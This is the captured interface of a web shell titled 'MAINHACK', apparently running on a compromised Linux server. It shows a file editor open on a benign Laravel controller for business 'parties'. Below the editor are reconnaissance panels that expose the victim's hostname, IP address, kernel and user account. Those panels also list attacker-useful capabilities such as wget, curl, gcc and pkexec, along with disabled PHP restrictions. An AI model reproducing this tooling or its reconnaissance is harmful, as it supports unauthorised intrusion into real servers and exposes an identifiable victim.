[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: PartyController.php
<?php namespace App\Http\Controllers\Api; use App\Models\Party; use App\Models\Business; use App\Helpers\HasUploader; use Illuminate\Http\Request; use App\Http\Controllers\Controller; use Illuminate\Support\Facades\Storage; use Illuminate\Validation\Rule; class PartyController extends Controller { use HasUploader; /** * Display a listing of the resource. */ public function index() { $data = Party::where('business_id', auth()->user()->business_id)->latest()->get(); return response()->json([ 'message' => __('Data fetched successfully.'), 'data' => $data, ]); } /** * Store a newly created resource in storage. */ public function store(Request $request) { $request->validate([ 'phone' => 'nullable|max:20|' . Rule::unique('parties')->where('business_id', auth()->user()->business_id) ]); $data = Party::create($request->except('image') + [ 'image' => $request->image ? $this->upload($request, 'image') : NULL, 'business_id' => auth()->user()->business_id ]); return response()->json([ 'message' => __('Data saved successfully.'), 'data' => $data, ]); } public function show(Party $party) { if (env('MESSAGE_ENABLED')) { if ($party->due) { $business = Business::findOrFail($party->business_id); $response = sendMessage($party->phone, dueMessage($party, $business->companyName)); if ($response->successful()) { return response()->json([ 'message' => __('Message has been send successfully.'), ]); } return response()->json([ 'message' => __('Something was wrong, Please contact with admin.'), ], 406); } else { return response()->json([ 'message' => __('This party has no due balance.'), ], 406); } } else { return response()->json([ 'message' => __('Message has been disabled by admin.'), ], 406); } } /** * Update the specified resource in storage. */ public function update(Request $request, Party $party) { $request->validate([ 'phone' => 'nullable|max:20|unique:parties,phone,' . $party->id . ',id,business_id,' . auth()->user()->business_id, ]); $party = $party->update($request->except('image') + [ 'image' => $request->image ? $this->upload($request, 'image', $party->image) : $party->image, ]); return response()->json([ 'message' => __('Data saved successfully.'), 'data' => $party, ]); } /** * Remove the specified resource from storage. */ public function destroy(Party $party) { if (file_exists($party->image)) { Storage::delete($party->image); } $party->delete(); return response()->json([ 'message' => __('Data deleted successfully.'), ]); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.64 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002